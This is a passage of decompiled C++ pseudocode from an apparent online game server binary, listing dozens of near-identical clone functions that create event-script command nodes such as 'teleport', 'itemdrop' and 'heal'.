v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "broadcast", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF098: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004AF3E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "linkto", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF0B8: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004AF440) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemdrop", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF114: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004AF4A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whoclickme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF0D4: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004AF500) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whokillme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF0F4: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004AF560) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invensearch", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF134: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004AF5C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemcreate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF154: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004AF620) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemerase", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF174: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004AF680) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findhandle", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF194: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004AF6E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstateset", 1u, 3, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF1B4: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004AF740) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstatereset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF1D4: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004AF7A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "suicide", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF1F8: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004AF800) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "run", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF214: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004AF860) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "walk", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF22C: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004AF8C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "maplight", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF248: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004AF920) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mapfog", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF268: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004AF980) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectobj", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF284: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004AF9E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "effectloc", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF2A4: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004AFA40) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "aggro", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF2C4: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004AFAA0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobweaponrate", 1u, 1, 8); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobWeaponRate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF2E0: using guessed type int (__stdcall *PineEventScriptNode__ShineMobWeaponRate___vftable_)(int tr); //----- (004AFB00) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobdetectrange", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobDetectRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF304: using guessed type int (__stdcall *PineEventScriptNode__ShineMobDetectRange___vftable_)(int tr); //----- (004AFB60) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "heal", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHeal::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF328: using guessed type int (__stdcall *PineEventScriptNode__ShineHeal___vftable_)(int tr); //----- (004AFBC0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "animate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAnimate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF344: using guessed type int (__stdcall *PineEventScriptNode__ShineAnimate___vftable_)(int tr); //----- (004AFC20) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "duplicate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDuplicate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF360: using guessed type int (__stdcall *PineEventScriptNode__ShineDuplicate___vftable_)(int tr); //----- (004AFC80) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitidle", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitIdle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF380: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitIdle___vftable_)(int tr); //----- (004AFCE0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "deathcountclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDeathCountClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF3A0: using guessed type int (__stdcall *PineEventScriptNode__ShineDeathCountClear___vftable_)(int tr); //----- (004AFD40) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemattrset", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemAttrSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF3C4: using guessed type int (__stdcall *PineEventScriptNode__ShineItemAttrSet___vftable_)(int tr); //----- (004AFDA0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scinariocode", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScinarioCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF3E4: using guessed type int (__stdcall *PineEventScriptNode__ShineScinarioCode___vftable_)(int tr); //----- (004AFE00) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestart", 1u, 0, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF408: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStart___vftable_)(int tr); //----- (004AFE60) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "battlestop", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBattleStop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF428: using guessed type int (__stdcall *PineEventScriptNode__ShineBattleStop___vftable_)(int tr); //----- (004AFEC0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sendquestresult", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSendKQResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF448: using guessed type int (__stdcall *PineEventScriptNode__ShineSendKQResult___vftable_)(int tr); //----- (004AFF20) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invidualreward", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF46C: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualReward___vftable_)(int tr); //----- (004AFF80) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "returnvalue", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReturnValue::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF490: using guessed type int (__stdcall *PineEventScriptNode__ShineReturnValue___vftable_)(int tr); //----- (004AFFE0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "sublayershift", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSubLayerShift::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF4B0: using guessed type int (__stdcall *PineEventScriptNode__ShineSubLayerShift___vftable_)(int tr); //----- (004B0040) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "teleport", 1u, 1, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleport::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF4D4: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleport___vftable_)(int tr); //----- (004B00A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemowner", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemOwner::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF4F4: using guessed type int (__stdcall 